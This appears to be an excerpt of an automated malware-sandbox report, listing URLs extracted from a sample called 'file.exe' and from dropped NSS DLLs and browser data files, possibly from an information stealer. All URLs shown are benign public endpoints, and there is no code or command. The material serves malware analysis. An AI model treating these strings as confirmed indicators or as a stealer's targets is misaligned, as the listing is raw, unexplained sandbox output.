Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_529.4.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2504951278.000000001D345000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2511149368.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2262062219.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, FBKECFII.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_528.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_528.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: Reporting and NEL.10.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingcsp
Source: chromecache_528.4.dr, chromecache_529.4.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2489025666.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, BGIJEGCGDGHDHIDHDGCB.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2489025666.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, BGIJEGCGDGHDHIDHDGCB.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.10.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000000.00000003.2262062219.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, FBKECFII.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2368743778.000000002345D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2262062219.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, DBGHDGHC.0.dr, Web Data.9.dr, FBKECFII.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2368743778.000000002345D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2262062219.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, DBGHDGHC.0.dr, Web Data.9.dr, FBKECFII.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.9.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.9.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 337c8cb3-b4ee-451d-9c69-18b000523e41.tmp.10.dr, 176ab097-1d42-4fa8-aebb-c9e8c39ead6f.tmp.10.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 337c8cb3-b4ee-451d-9c69-18b000523e41.tmp.10.dr, 176ab097-1d42-4fa8-aebb-c9e8c39ead6f.tmp.10.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: chromecache_528.4.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_528.4.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2489025666.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, BGIJEGCGDGHDHIDHDGCB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2489025666.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, BGIJEGCGDGHDHIDHDGCB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json0.9.dr	String found in binary or memory: https://docs.google.com/
Source: file.exe, file.exe, 00000000.00000002.2486320948.000000000038C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2063912669.0000000004B1B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2512032465.000000006CFA1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: chromecache_528.4.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.2368743778.000000002345D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2262062219.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, DBGHDGHC.0.dr, Web Data.9.dr, FBKECFII.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2368743778.000000002345D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2262062219.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, DBGHDGHC.0.dr, Web Data.9.dr, FBKECFII.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2368743778.000000002345D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2262062219.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, DBGHDGHC.0.dr, Web Data.9.dr, FBKECFII.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log0.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.9.dr, 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.9.dr, 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: HubApps Icons.9.dr, 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.9.dr, 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: HubApps Icons.9.dr, 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.9.dr, 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
